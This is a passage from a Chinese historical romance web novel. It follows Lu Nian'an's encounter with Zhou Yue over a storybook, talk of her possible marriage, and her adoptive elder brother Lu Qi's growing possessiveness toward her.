刚用完早膳的周越从后侧走来,他手中捧着厚厚一叠书册,迎面看见陆念安,当即停了下。 到也算不得巧,毕竟是早宴的时间,人来人往间,总会瞧见些熟面孔。 周越朝她走进,“陆姑娘。” 这声音柔和,夹杂着些许笑意,令陆念安很快回神。她张了张唇,刚想打声招呼,可当视线落在周越手中的书册上后,却移不开目光了。 那个只是最普通寻常的蓝色封皮,边缘甚至已被磨的有些发白,最边侧写着四个小楷字《浮生若梦》。 陆念安目光呆愣。 她之所以对这几本书如此在意,还是因为一年前,她曾偶然间看过前两册。 闲在家的生活,多数时间都是无趣的,便也得给自己找些乐子,于是整个冬日,陆念安都宅在家中看书。 兄长书房中那些生涩难懂的古书,陆念安自是看不下去,她更喜那些书生用白话编成得话本。 这《浮生若梦》便是她从府上下人那借来的话本。 这话本说得是凡人去天界当神仙的故事,陆念安当时只看了前两册,她实在未料到,今日竟还有机会遇到后两册。 只是……原来参加科考的学生,也会在私底下看话本吗? 她目光太过直白,白雾下,杏眸间有一闪而过的亮光。 周越仍对她笑着,又脾性极好地开口道:“陆姑娘可是有何想问?” “学士不应该只看些四书五经和古籍的吗?”陆念安下意识就将心中所想问了出来,等发觉这话有些冒昧以后,顿时僵住。 “陆姑娘说得可是这个?”周越并无不满,抬手拿起其中一册来,笑道:“ 虽是学士,但古籍看多了,总是会有些乏味,偶有闲暇之际,便也会看些话本打发时间。” “这样啊,”陆念安本还有些矜持,听见这回答,顿时起身上前一步,试探着问道:“那周公子觉得,这话本好看吗?” 她迎面走来时,带来一股细腻的甜香。 “自是不错。”周越捏着书封,笑:“还是因看过上册后念念不忘,才特意从同窗好友那儿所借了下册。” “是吗?”陆念安双眸顿时更亮了,“我也觉得好看呢。” 原来当私藏在心中的话本,同样得到他人的认可时,会这般喜悦。 就像伯牙和子期一样。 陆念安很快眉眼弯弯地笑起来:“那周公子,我能问问你,瑶瑶后面有回到人间吗?” 《浮生若梦》里的女主人公,姓陶名乐瑶,自去往仙界以后,便一直再找法子回到人间。 可惜上两册只讲述她在仙界的所见所闻,还未说到她回人间。 周越未直接回答,道:“陆姑娘若是好奇,周某再将后两册借给陆姑娘如何?” “那瑶瑶到底有回到人间吗?”她还是好奇:“周公子你先同我说说嘛。” 陆念安看话本时,最想要身边能有一个人,将故事掰碎了说给她听,这样她才能安心地往下读。 当下也一样,若是不知道瑶瑶有没有安全回到人间,她有些读不下去了。 见她实在好奇的紧,周越扫了眼桌案上完好未动的汤食,拉开一旁木椅坐下,“那陆姑娘先用膳,我再一边说给你听?” “好呀。”陆念安当即便乖乖坐好,拿起瓷勺饮了口汤,才看向周越。 “瑶瑶于最后一册里,回到了人间。”顿了顿,周越便不忘下说了。 陆念安只好主动开口问:“那瑶瑶是如何回到人间的?” 江面上风大,由侍女才端出来的鱼汤,已经有些微凉了。 周越意有所指地看着那汤,勾起唇角:“古话说食不言,等陆姑娘先用完这汤,我再同你慢慢说好吗?” “好吧。” 陆念安不情不愿地点点头,又认真将那汤饮完。 周越继续往下说:“瑶瑶打翻了紫玉仙人的花瓶,因害怕紫玉仙人怪罪,一时从天上跳下去,未曾料被送去了妖界。” “然后呢?” “这阳春面瞧着不错,陆姑娘要先试试味道吗?” …… 画舫同岸边的距离已越来越近。 一片雾茫茫间,陆祈缓步走到长廊下。 此时身着明黄色长袍的皇上,正瑟瑟发抖地靠着红柱而立,身边围了好些侍卫。 “爱卿免礼,”终于等到他过来,皇上呼出口气,走上前:“陆爱卿啊,陆爱卿啊,朕现在只能相信你了。” 一国天子,九五至尊,从来都是凌驾于万人之上的。 只是此刻,天子却颤抖着手,整个人如同惊弓之鸟般。 陆祈辨出一丝不对劲来,平静地看去,静等他开口。 “朕今早刚醒,恍惚间就见昨日那舞姬进了屋,又从袖中拔出匕首来,好在朕已经醒了,当即叫了声,可若不是爱卿你替朕安插的人,朕怕是就死在这里了!!!”皇上仍心有余辜,说这话时,躲在几个侍卫后面,明显慌乱了。 陆祈应了声,侧眸看向其中一个侍卫:“青夏,让太医替皇上看过了吗?” “回大人,好在皇上只受了些惊吓。” “爱卿,肯定朕是那大儿子做得,”没有人会不怕死,经历过性命之忧,皇上想起来什么,站出来怒道:“那西域飞天舞也是他提出来要看,不然朕怎会瞧上那舞姬,定是他安排在朕身旁的眼睛。” “抓,一定要将太子抓起来压入天牢!” 龙颜大怒,皇上情绪显然不太好了。 陆祁仿若听不懂他的愤怒,拱手,仍淡声开口:“皇上,此事还不可宣扬。” “现在还未靠岸,唯恐舫上局势混乱,若到了一定局面,惊扰了那主使便更加难办,依臣看来,等回了宫,再暂且将此时交由大理寺。” 皇上一口回绝:“不行,朕不放心。” 今早救驾有功有功的青夏也来劝解:“那臣去将楼下的兵卫调上来,皇上您定要保重龙体,先去用些早膳也好。” 这话不是没有道理,但……皇上看了看围在身后的侍卫,还是觉得有些不放心,“那陆爱卿,你也陪朕一起去用膳。” 天子的御膳,光是汤便上了十品,更别说小菜面食,共用精致的小碟盛放好,足足将整张长桌都摆满。 又另走来两个宫女,一左一右地拾起象牙木镶银筷,替皇上布菜。 一连用了两盏汤,身边又围着几十人,皇上才终于卸下防备,悠悠欣赏起自己的江山和子民来。 晨日里氛围轻松,不知瞧见了什么,皇上指了指下方:“去看看越儿手里拿着的,可是何物?” 片刻后,福德立刻小跑上前来,狗腿道:“回皇上的,周公子手中拿着的,是时下广受传阅的话本《浮生若梦》呢。” “不错,”皇上一听,也来了些兴趣,以示关心地问道:“爱卿可是也听过?” 此刻雾气散开,天已经彻底亮了,几丝金光穿过云层直直透下,落在月白色长衫的一侧。 沐在这金光之下,陆祈面无表情地凝视着前方,冷冷开口:“未曾。” “看来这年轻人喜欢的东西,我们到是都跟不上了。” 许是方才经历了这一出,皇上突然也想同这位爱卿拉进一些距离,又没话找话地开口道:“朕昨日听几位大夫提起,陆爱卿也是将妹妹带来了……” 忽得一顿,悠悠放下了手中茶盏,皇上又指着前方笑:“真没想到爱卿的妹妹同越儿还认识,朕也是老了,现下见着这些小辈们欢喜,朕也就欢喜。” 就在一江春水,青山秋水间,两位年轻人面对面坐着,不知在聊些什么,脸上都带着明晃晃地笑意。 说起来两个人年龄相仿,相貌又都是顶好的,相谈甚欢地模样,不光是皇上瞧了开心,几个宫女太监也只觉相配极了。 看了片刻,皇上心情顿时轻松不少,此刻斜斜靠着圈椅,便欲想成一桩美事,悠哉开口:“朕记得爱卿这妹妹,可许了婚配?”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 60-70 第61章 第六十一章 当今圣上,早已到了知天命之年,这人的年龄一旦上来,爱操心这个毛病日渐加重。 这几年,但凡朝中大臣有哪家是要议亲,皇上是闲下来便点几对,想起来赐一桩。 偏生误打误撞,赐下的桩桩也都合适,也让他越赐越来劲………只除开前两年,替陆祁赐得那一桩闹得有些难看。 怕他还介意此事,皇上轻咳一声,表示道:“越儿虽未养在上京,但自被找回来后,朕便不会不管的。” 单凭周家同皇上的关系,周越此人,便已是数一数二的良配。 “不过若要除开两个人的家世,瞧着仍旧挺般配嘛,”皇上若有所思地抿了口茶:“相处自然,有说有笑,便已是极其难得了……” 皇上越想越觉得可成,却一直没得到回答,不悦道:“陆爱卿,朕同你说话呢!” 此时的船舫一侧,陆念安勉强用完那半碗阳春面。而在周越地缓声引导下,平日里喝碗汤都嫌撑的小姑娘,竟又拾起筷子,夹了好些煎肉放入口中,撑得她双颊都微微鼓起。 她却无一声抱怨,没心没肺地笑着,又继续用那对湿濡清澈的眸子盯着人看。 沉默了许久的陆祈,在这时移开目光。 他仍旧面无表情,白衣分明沐在暖光下,周身却欲发冷肃,淡然道:“皇上遇刺一事还未察明,当下,臣既忧思那幕后主使会不会再出现,又忧思等回京之后,该如何协助大理寺调查此事。” “至于幼妹的婚事,”他停顿片刻,“臣想,依她自己的意见便好。” 遇刺一事还未查明……自听见这句话,皇上的心重新紧绷起来,只觉得那幕后主使就藏在身旁的每一处。 这可是事关性命的大事,他哪还有心情去赐什么婚,连陆祈后面说了些什么都全然未注意。 放下茶盏,皇上已经六神无主,连连点头:“朕也是这般想的,那此案便全由陆爱卿你负责,朕同几个侍卫先去里屋里呆着。” “你们几个,”太监福德也慌忙起来,翘着小指点了点几个侍卫,着急道:“你们几个,都给咱家的护好皇上,听见了没有?” 话落的瞬间,一行人护着皇帝,匆匆离开,只余下一侧的白衣男人,仍旧静立于原地。 “……” 跟在他身后的青竹悟出什么来,一打眼,就瞧见日光底下,小姐眉眼都快弯成了月牙。 连他看着小姐的笑容都觉得刺眼。 顿了顿,青竹小心翼翼地侧过眸——面前白衣身影仍然未动,只是置身事外地静站着,一双眸越发沉静。 * 不知过了多久,传来画舫将要靠岸的消息。 廊下一侧,先前摆满食物的桌案上,只余下几个空落落的碟子,而那碗盛着阳春面的海蓝雕花碗中,也就剩青葱飘于上方。 陆念安缓缓将手中的乌木镶玉筷放下,忽得发觉自己胃口忽得便好,一时间有些惊讶。 坐于她对面的周越瞧见了,起身将案上的话本理好,道: “陆姑娘,今日的故事就先说到此处?” 话落,他将整理好的《浮生若梦》后两册递出,灰蓝色封皮虽陈旧,却被压得极为整洁。 “至于余下的,还望陆姑娘自己去翻阅。” “好……”陆念安犹豫着接过那书,又保证自己会好好爱惜这画本。 她说到做到,极为珍惜地将话本子捧进怀中。 这些年来,哥哥从不鼓励她看这些,陆念安便时常是东找找西翻翻,看了上册便找不到下册。 今日难得遇到自己喜欢的下册,陆念安自然爱惜,捧着话本的手不由得又紧了紧。 她指腹圆润,指骨匀称且纤细,此刻紧紧压在被别人碰过的痕迹上,指痕贴着指痕,掌心贴着掌心。 一双手都正同旁人严丝合缝地贴着。 陆念安还沉浸在喜悦中,耳边忽得落下一声清润的“陆大人”,是周越注意到前侧的月白色身影,开口唤道。 听见这话,陆念安从喜悦中回神,忙抬头。 就看见兄长的视线,正灼灼落在她手间,不知想到什么,她近乎慌忙地将手中书册藏到身后:“哥,哥哥回来了啊。” 陆念安欲掩盖彰地移开眼,扫见桌案上空荡的瓷盘间后,双眸一亮,欲想转移兄长的注意,便道:“哥哥你看,阿念很听话的。” “是吗?”陆祈朝她靠近,落下的影缓慢拢住她,忽得轻笑一声:“那阿念是听哥哥的话,还是旁人的?” 他语气其实算得上柔和,还带着若有若无的微笑。 可陆念安直觉这话不好回答,低下头,用双手紧紧捏着那话本。 “阿念想看。”不用兄长点明,陆念安已经知道他是何意思,藏着那话本,瓮声瓮气地做最后反抗。 “阿念。”听见这话,陆祈仅剩的耐心终于逝尽,深沉地看向她:“别让哥哥说第二遍,好吗?” “我……”察觉到他语气中的冷淡,陆念安一时被吓到,忍着眼泪,立刻委屈巴巴地将手中话本递出。 画舫在这时,彻底靠岸,守在后方的青竹上前,接过那画本子递回给周越。 周越身形微顿,回眸看了陆念安一眼,她正委屈地低下头。 陆祈忽然提及:“听说周公子在殿试之上,写得一手好文章。” 收回目光,周越忙拱手摇头:“不比陆大人,自进翰林院后,便时常能见到陆大人的文章。” “周公子谦虚了,”陆祈眸色冷淡,说话间,将绸帕递给身后人,又蹙起眉:“哭什么?” 她不说话,刚想接过绸帕想擦泪,却被紧紧握住双手。 那绸帕不是给她擦泪用的。 陆祈展开她的双手,用绸帕抚过她的手心、指骨、指腹……一边接着方才的话继续同周越说:“前些日子,圣上还当众批判陆某是迂腐的读书人,陆某当时不知圣上是何意,今日一看,原以后要多向周公子多学习。” 话落,陆祈扣住妹妹软弱无骨的手插进去。 他手掌太大,十指相扣间,大手严丝合缝地握住她,安抚了声:“同哥哥回家。” 陆念安忍着眼泪低下头,因为害怕哥哥又凶她,她便连话也不敢说,也不敢再提想要那话本子。 * 等再回到北院时,整个院子都被烈日所笼罩。 只一日未归家,陆念安生出一种头重脚轻地恍惚感,她焉焉躺回榻上,很快便昏沉沉睡了一觉。 梦中却也不安生,一会儿梦见瑶瑶,一会儿梦见仙子,一会儿梦见周越在仙界给她讲故事。 可一个故事都还没说完,就被手握戒尺的仙君打断,仙君说她一点也不听话,所以要将她送去宝塔下镇压一千年…… 一千年! 陆念安当即就被吓醒,她掀开薄被起身,眸色呆愣。 “小姐可是醒了?”秋菊听见动静,走过来倒了杯温茶给她:“方才西院来人,说是让小姐醒后去西院一趟。” “我才不想去找哥哥,”陆念安接过瓷杯,一口气饮了多半,凶声凶气地掰着手指头数:“喝酒也不行,看话本也不行,什么也不行,阿念做什么都不行。” 见她这模样,秋菊无奈,正欲劝解几句时,拿着空瓷盏的手却一顿,她欲言又止地开口: “小姐……” “哥哥连梦中都不放过我,”陆念安今日气极了,此刻有说不完的话要抱怨,“凶都凶死了,还要把我关进塔里面一千年!” “小姐可别说了……”秋菊看着那窗边的白色身影微动。 不知不觉竟已到黄昏,里屋的门很快被拉开,泄进一屋子彩霞。 橙红霞光将室内染上层绮丽,正舞着双臂抱怨的小姑娘见着来人,悻悻然收回手,忙抱着锦被别开眸。 陆念安不会骂人,说声讨厌便已是极限,她生气时,最常用的伎俩是沉默。 陆祈太了解她了,甚至于还未走近,便知她现在定是鼓着双颊,等人来哄的。 “阿念。”他缓步走近,见她不答,指腹抵着她下巴迫使她转过头,果然瞧见她微鼓起的双颊。 有这般娇气的妹妹,从小到大,陆祈已不知哄了她多少回。 “你怎么来了。”见无法忽视,陆念安板起脸开口。 陆祈不是多说的脾性,直接将握在手中的书册放于榻上。 蓝色封皮,厚厚两册,崭新到无一丝褶皱,左侧又同小楷写着《浮生若梦》四字。 熟悉至极的四个字,陆念安有些恍惚,还以为是自己看错了,便一动也未动。 陆祈垂在身侧地手一顿,“不喜欢?” “没有,”陆念安有些意外,本还想说些什么,刚张唇却一疼:“嘶……” 她抬手捂着唇瓣,露出一对湿濡的眸子来,点头:“不要拿走,哥哥,我喜欢的。” “没说要拿走,”陆祈柔声哄道:“手放下让哥哥看看。” 陆念安是个没骨气的,听话地将手放下,湿濡肿胀的唇瓣顿时裸露出,可怜极了。 他凑近,指腹轻抚着她唇角:“又肿了?” “吃面时烫到了。” 不说这话还好,陆祈微顿,很快揉着她唇瓣摩挲起来,若有所指道:“怎哥哥让做什么都抱怨,偏生就上赶着对旁人献殷勤?” 知道他是在说晨日的事情,陆念安有些心虚,呜咽了声便开始喊疼,泪眼朦胧:“哥哥我要涂药了。” 她本意是想让秋菊来帮自己,可等了片刻,却也未见兄长离开,疑惑着抬起眸。 陆祈神色平静地侧坐在榻边,一手拿起瓷罐,一边用长指捻出些药膏来。 他指骨长而干净,躯起时,手背上鼓起的青筋清晰。 片刻后,他开口:“阿念,抬头。” 药膏是乳白的颜色,被他捻在指腹,最后压在陆念安肿胀的唇角边。 她没反应过来,愣愣眨着眼,一张脸嫩生生,杏眸间带着孩童般的纯善。 …… 陆祈双眸微眯,很快轻触着她的唇角,将药膏涂开。 等抹完药膏,陆念安有一段时间是不能说话的,无聊之际,她暗戳戳把一侧的话本拿起。 “哥哥今日没有凶你,”陆祈擦拭着指骨,又慢条斯理地提起白日之事:“那书册不知被多少人翻看过,下回要什么,直接哥哥说就好。” 第62章 第六十三章 快及夏日,晴日便多,干燥日光晒得哪儿都是暖烘烘的,这般好天气,不出去走走实在可惜。 陆念安却一连在屋中躺了两日,几乎时时刻刻都捧着那话本子,没日没夜地看。 秋菊见状,是又无奈又气。 这几日公子未回府,北院内无人能管得住她,秋菊只怕她将自己的眼睛看坏。 到了第三日,见陆念安仍是这脾性,秋菊不得不搬出陆夫人来压她,提醒道:“小姐可是有一月未去千山宛了?” “前日听嬷嬷说,夫人每每上完香,都是要念叨一阵小姐你的。” “我……”陆念安一下子无措起来,顿时将手中话本放下。 她从来都是乖巧的孩子,每隔几天都要去一趟千山宛拜访母亲。 只是近日里想着玩乐,到将最重要的事情忘了。 思及,陆念安理了理衣裙,道:“阿念将紫苏青梅也带去,母亲定是也喜欢的。” 秋菊便不动声色地松了口气。 正是午后,日光笼罩着整座宅子,每一处都是明亮的,并不晒人,只让人觉得温暖。 陆念安呼出口气,她这会儿也觉得晒晒太阳不错。 半刻钟后,她抱着一罐青梅走到千山宛,只是还未走近,却听见从屋内传出几声笑来。 “……” 心下不由得有些疑惑。 陆夫人喜静,平日里呆在家中,几乎每日都要抄经礼佛,因着如此,千山宛内,是很少会像现在这般热闹。 害怕屋中有重要的客人,陆念安犹豫了好一会才抬手敲门,“母亲,阿念可以进屋吗?” 屋内一片和谐,陆夫人坐在主位上,而挨着她而坐的,也是位年龄同她相仿的夫人。 两个人手挽手正叙旧,听见门外的女声后,那位夫人当即惊喜道:“这便是阿念了?” “是,”陆夫人笑意加重,侧头对一旁的嬷嬷道:“快别让阿念久等了。” 陈嬷嬷点头,走上前拉开门,笑着让陆念安进屋。 因着屋中有生人,陆念安尚有些不习惯,只找了一个稍稍靠后的位置坐下。 “阿念过来,”陆夫人却唤她走近,解释:“你柳姨是自己人,可别怕生。” 今日来拜访的柳夫人,是她少时的闺中密友。 陆夫人从前是在青江长大的,嫁到陆家以后,才跟着丈夫来到上京。 那会儿在青江,她身边最好的朋友叫柳乐敏,两个人一起长大,既是日后分开,也一直用信在联络感情,多年来从未断过。 本以为一辈子都不能相见,直到前些日子,柳夫人丈夫的官职上有变动,被调来了上京。 这不,全家人才刚落脚,柳乐敏便跑来找好友叙旧。 多年来的通信,使得柳乐敏对陆念安并不陌生,她也知道小姑娘怕生,便主动靠近她,温柔道:“这便是阿念了吧?” “多年前就时常听陆娘提及你,说府中来了个可爱的小姑娘,又抱怨小姑娘只黏哥哥,问我要如何哄小女孩开心。” “可你柳姨膝下两个孩子都是男子,哪里知道怎么哄小女孩哦,最后是想到周围的小姑娘都喜欢小玩物,便令人搜罗了好些送去上京。” 柳乐敏没有女儿,对陆念安是喜欢的紧,越看越满意,又道:“不知我们阿念还记得吗?” 论起这事儿,陆念安到还真记得—— 有一年午后,母亲忽得将她叫去,给了她整整一大匣子的小玩意。 那匣子比她都高,小陆念安愣愣看了好一会儿,并因此产生了不小的震撼。 陆念安没想到就是眼前这位柳姨送得,眨了眨眼,顿时不怕生了:“阿念还记得呢,谢谢柳姨!” “早知你这般喜欢,柳姨是还得多送些了,”柳乐敏连连点头,又亲热地握住她手,“小姑娘都爱美,此番从青州来,柳姨给你带了不少青州的浮光纱,那料子用来做夏衣最是不错,到时可定要传给柳姨看看。” “好……” 陆念安没见过这般热情的长辈,都有些呆了。 柳乐敏却还嫌不够,一会儿夸她肤白,一会儿夸她眼睛生得好,不过片刻,便是将人夸得脸都红了。 “好了乐敏,”陆夫人扶着额头无奈:“你在夸,阿念可都要找个地缝钻进去了。” 想起这孩子怕生,柳乐敏这才止住,清声咳一声:“祈儿呢,你家祈儿怎还没回来?” “他?忙得狠,这么大人也没成家,时时刻刻都有事,”陆夫人抬起茶盏,叹气:“我今早虽是命人请他回来,但你看,到现在却也没个准话。” “我家那两小子也这样,”两个人不愧是手帕交,柳乐敏同样深有感触道:“所以说儿大不中留啊,还是女儿好。” …… 今日,陆夫人原是打算吃个团圆饭的,大家围一起叙叙旧,好将多年未见的好友介绍给孩子们。 却是等到天黑,也没收到从宫里传来的消息,最后也只她们三个一起用了晚膳。 陆夫人心下有气,一顿饭吃得不是滋味,“成日都见不到人,还将我这个母亲放在眼底吗?” 陆念安很少见母亲这般生气,便一句话也不敢插嘴。 “好了陆娘,当着孩子面怎么能发脾气呢?”柳乐明对陆念安使了个眼色,“阿念还是小孩呢,不用操心这些,便先回屋睡吧。” …… 陆念安带着些感激的离开,饭后,她步调放得慢,打算多走一会儿,好消消食,便提议:“秋菊,我们再去园子里走走罢?” 穿过眼前的长廊,有一池荷塘,陆念安已经许久未来过了,便想在池塘边呆一会儿。 此刻天已经完全黑了,月光落下,一池花苞被照耀的清雅,原是一幅美景,只吹佛而来的风,忽得令人有些胆怯了。 陆念安低低垂着眸,刚有些害怕,便见一旁多出一道影子。 妖精会有影子吗? 她几乎是立刻就往后退,一边惶恐一边想走,刚转过身,手腕却被紧紧扣住—— “哥哥也不认识了?” 听到熟悉的声音,陆念安才呼出口气,却还是哭丧着一张脸:“你都不说话,把我吓到了。” “怎这般没用?” 知道她胆子小,却未想到连个影子都害怕,陆祈叹息一声:“好了,是哥哥的错。” “本来就是你的错,”陆念安娇嗔了声,“而且哥哥今日不回府,母亲都生气了。” “是吗?”陆祈并未在意,淡然开口:“现下也不晚。” 此地同千山宛只隔了一处长廊,想到方才陆夫人失落的模样,陆念安便也跟着再去了一趟。 现下团圆了,母亲应是也会开心吧? 这般想着,不知不觉又走到里屋前。 这时门正敞开着,屋内点着暖灯,明晰极了。 陆念安刚要开口道一声哥哥回来了,就听见里屋内传来一声笑骂:“乐敏,你莫不是专来上京打阿念注意的吧?” 两个人是几十年的好友,关系不比寻常人。 屋内,柳乐敏笑了声,此刻是做足了殷勤模样,替好友捶捶背按按摩:“这不是你从前说,若咱们之间正巧生了一儿一女,便结成亲家?” “阿念虽不是亲的,但不也是女孩儿,又生得这般乖巧,同你干儿子多配嘛。” 第63章 第六十三章 “乐敏瞧你这话说得,”陆夫人懒懒靠着圈椅,逐渐放松下来,“既都说是我干儿子了,那儿子同女儿怎么能定亲呢?” “哎呦,这个时候计较起来了,”柳乐敏按在她肩侧的力道加重,“几年不见,翻脸这么快?” 两人是手帕交的友情,又自幼一起长大,以后要当亲家这种话,从前还真没少说过。 柳乐敏是纳闷了:“你干儿子虽是不上进了点,但也是一表人才,这么些年来,身边也没纳个小丫头,也勉强算是好拿捏……” “哪有人说自己儿子好拿捏的?”陆夫人笑得岔气,一时间都说不出话来了。 柳乐敏见状,深深叹了口气:“能不能认真些,你干儿子真没机会了?” 柳乐敏膝下只一个大儿一个小儿,大的早已经娶妻成家,只小的还一直养在家中。 虽总说自家儿子不上进,但实则这些年来,上赶着要嫁进柳家的人可太多了。 陆夫人从前也想过,可那时青州太远,她便歇了这个心思,现下也只能摇摇头,惋惜一声道:“乐敏,你说你怎得不早些来上京呢?” 如果说方才的话都是在打闹,可这话一出,柳乐敏便直觉不太对劲。 她惯是事事追究到底的人,当下也不肯马虎,皱起眉:“陆娘,同我清楚些,什么意思?” “我是这几天才听人说,我们家阿念同周家走得挺近,若只走得近也罢,但毕竟都传到我这深宅院落里了,想必便不是捕风捉影的事,”陆夫人正色开口:“若年轻人两情相悦,又正巧门当户对,我一个老人家,如何能做出拆散一事?” 周家已有百年的底蕴,头上出过太傅,又是当今皇后的母族。 若只议论家世,陆夫人这话没错,的确是门当户对,极为相配。 但周家现下适龄的男子,只剩下二房三房那些个,都已是二十七八的年纪。 陆念安却才及笄两年,小姑娘本就稚嫩,哪里能应付得来。 柳乐敏当即愤愤不平:“那,那,那周家那二十八九的老男人同咱阿念能配吗?” “二十八九自是老了,但我听府中小丫头议论,说是周家刚找回来的小孙子,还是二十出头的少年郎呢。” 提起周越,陆夫人也是赞不绝口,“这般少年,若是不被周家领回去,那也是新晋探花郎,风光无限的。” “就是嫌我家那小子没考上探花郎呗,”虽是这般埋怨,但柳乐敏已然歇了要做亲家的心思,反而若有所思地摸了摸下巴:“罢了,既是周家,我儿哪里比得过,那陆娘何时替阿念择婚期?我也好准备些嫁——” 话音未落,耳边忽得传来几道声音,像是衣物摩挲发出沙沙声,柳乐敏一顿,抬起眸:“可是还有人在外?” 千山宛内一向寂静,此刻屋中点着暖灯,烛光映照所落下的影倒在窗户,被夜风吹佛的轻晃起来。 仔细瞧了会儿,柳乐敏也没瞧出什么不对劲,收回目光,疑惑地嘀咕一声,便不在细想。 此刻的窗外—— 门前落了一地的枯叶,两个人步履贴着步履,在廊前落下一高一矮的影。 “哥哥!”陆念安着急忙慌地将身旁男人往后拉,压低声音道:“我们怎么能进屋呢?” 想到方才那一幕,她仍旧心有余辜,小脸皱起,烦恼道:“母亲定是知道阿念在偷听了。” “……” 春末的季节,枝桠上青涩的花苞正待盛开。 被幼妹拉到树下的陆祈,垂眸看向落在袖摆的素手,一言不发。 昏暗的廊下,只寒凉的月光稀薄,陆祈静静看着她,神色匿在灰色的影间,便得晦涩而难辨。 陆念安颤了颤指尖,忽得有些被吓到。 以为兄长是不喜自己的触碰,她忙收回手,下意识退后一步。 那素手落在半空,缓慢往回收的瞬间,被他一手扣住。 陆祈眸色冷淡:“阿念是在担心什么?” “等哥哥进屋,不就是母亲想要的团圆了,为何要害怕?”他总是能用最平静的语调,直直戳在一个人心中最隐秘的角落,就像这一刻,在陆念安都还未意识到自己莫名的紧张时,他薄唇轻启,冷静道:“阿念是害怕进屋后母亲提起周公子,或是在害羞?” 害羞? 她为什么要害羞? 陆念安原只是不想偷听被发现的……现在被提前,忽觉自己确有些羞耻。 就像方才,见陆夫人提起周公子时,她双颊不由得升起薄红。 这便是害羞吗? 陆念安好像意识到什么,刚要往下细想时,落在身侧的手忽得被往前一拉。 “哥哥同阿念说笑呢,既不想进屋便不去。” “可阿念胆子这般小,往后没了哥哥又该如何?”他眉眼柔和下来,此刻正温柔凝视着她。 这般柔和的神色,以至于令陆念安完全没发觉,那只压在她手背上的大手,腕骨青筋隆起,正压抑到不断颤抖。 月光下,白衣本是清雅至极的存在。 陆祈也一直是这般。 是备受期待的长子,从出生到成长,无时无刻不在被人关注,无时无刻不在被提醒要为了大景子民好。从边疆到官场,往前走得每一步,都要少年郎深思熟虑,久而久之,循规韬距成了习惯,他要时刻平和要绝对冷静,便渐渐没了心力去管旁人 好在一切逐渐变得可以掌控。 耳边开始没了父亲的叮嘱,不用再花十二个时辰去纠正一个细微的动作,夜晚的军帐中,捂着伤痕挑灯背书的日子不复存在,与此同时,塞北的烈马与狂风同样远去。 或是回到上京。 这条路他同样走得很顺。 从被尊称一声“陆大人”开始,便没有什么,是不受控制的了。 一切只取决于他想或不想,而陆祈很少让什么偏离。 可有什么开始变得不受控制了。 又是从哪一刻开始,跟在他身后只看着他的阿念,视线逐渐飘忽不定。 陆祈记得她第一次来陆府。 彼时收到父亲遗愿的少年郎,被勒令禁止再回到军中。 真是可笑。 无数个夜晚,不允许他回到上京,期盼他长大成年后能接手军令的父亲,在生命中的最后一刻,轻易摧毁他十多年树立起的无畏。 甚给他留下带孩子的任务。 陆祈将这事拖到了一个秋日。 那一年,小姑娘已辗转过两户人家。 听说她过得极差,陆祈第二次打量她,她变得更加孱弱,苍白的脸,消沉的眸子,如同深冬里被主人抛弃的幼兽,早已是奄奄一息。 那时他没有多余的心力,只将小姑娘带回家中,便去了更需要他的地方。 只是再次听见小姑娘的消息时,竟说她奄奄一息。 他分明令人照顾好她。 可她太孱弱太没用了,躺在榻上苍白的模样,仿若谁都可以欺负一般。 于是那一年,他还是选择留在上京。 本该手拿军令的未来大将军,隐入刑狱司,从最为普通的狱司开始做起。 陆祈从没后悔过。 他会认真护好她。 最开始的一年,他谁也信不过,从狱中回府时天已完全暗下,继续借着月光替妹妹煎退热的药,因为害怕衣袍上无意间沁染上血迹,要沐浴换衣后,再推门将药送给妹妹。妹妹却连睡觉也粘着人,要将她抱在怀中哄,要听故事,要靠在哥哥胸膛间才能入睡。 他将她养得这般好。 可是谁三心二意,分明哭着喊着要当亲妹妹,说着要同哥哥永远在一起不分开。 却轻易反悔,轻易就打破誓言。 是她先开始的。 自那以后,他就先是兄长了。 他做错了什么? 长廊下,月影逐渐变得飘渺,许是正被层层黑云压下,眼前顿时昏暗起来。 陆念安第一时间感受到害怕,同哥哥贴近了些,却想起哥哥方才说得那话。 以后若是没有哥哥了该怎么办? “或许和哥哥分开以后,阿念的胆子就变大了也说不定?”陆念安抬眸看向兄长:“哥哥你说呢?” 的确有什么,逐渐偏离了曾经。 陆祈垂在一侧的手,同样轻微颤抖起来,片刻后,落在她额上轻抚了抚。 他没有回答她这个问题,平和提起:“今日从宫中回来,哥哥给阿念带了喜欢的酒。” “酒?” 不明白兄长为何会忽得提起酒,但陆念安却是不敢再提了。 唇间的灼烧感仿若还在。 自经历过那似真似假的梦后,陆念安从此是惧极了这个字,是只要一提起,便下意识抗拒的东西。 她慌忙摇头,乖巧道:“哥哥我以后再也不饮酒了。” “是吗?” 抚在她额上的大手微顿,黑暗中,他狭长的眸子微眯,眸中溢出着几分深沉,一字一句道:“真是孩子气的阿念。” “阿念哪有。”陆念安一时心虚,故作凶巴巴地反驳。 “还说没有孩子气?”他俯下身同她平视,语调微沉:“前日里不是还喜欢的紧,求着哥哥也要饮,这才过几日,便又是再也不会饮酒了?” “……” 没想到连不饮酒都会被哥哥说,她忽得哑然。 “说话。” 男声凌冽,落在耳边。 被持续逼问着,陆念安双手紧紧揪着裙摆,双眸肉眼可见地湿濡了。 这一次,眼泪却都不管用。 无人再替她擦泪。 陆祈看着几滴晶莹闪过,划过小姑娘纤细的脖颈,最终隐入更柔软的地方。 真的好爱哭。 受了委屈要哭,稍有不适也要哭,而被亲几下也要哭,更是哭得可怜,连双眸都红得不成样子。 陆祈很少欣赏妹妹的眼泪,他大多数时候,都要第一时间替妹妹擦眼泪,哄着她平复情绪。 其实她哭起来却也好看极了,只有她,连哭起来都是好看的。 或许他早已不用再承受任何人的期盼。 包括妹妹的。 第64章 第六十四章 沉默间,黑暗之中变得更加寂静。 陆念安感受到自己慌乱的心跳,以及落在颈侧的灼热视线,彻底意识到哥哥不会给她擦泪了。 怎么连眼泪也无用。 慌忙抹去眼泪,陆念安极其不适应地退后一步,开口道:“我不喜欢哥哥现在这样。” 在茶楼听戏时,阿姐曾无意间提及过,讲看一个人脾性好不好,最应看那人教导功课时的模样。 陆念安还记得自己第一次提笔书写时,是作为兄长的陆祈亲自教导他。 他替她研磨,手握住她的手教她如何拿笔,又带着她写下“陆念安”三字。 她那时却不安分极了,只心不在焉地学着,笔还没学会拿便先想着写字,最后不知怎得,失手打翻了一旁的砚台。 好在她是一点事儿没有,因为浓稠粘腻的墨汁只尽数滴落到身旁人的衣摆。 陆念安都吓到了。 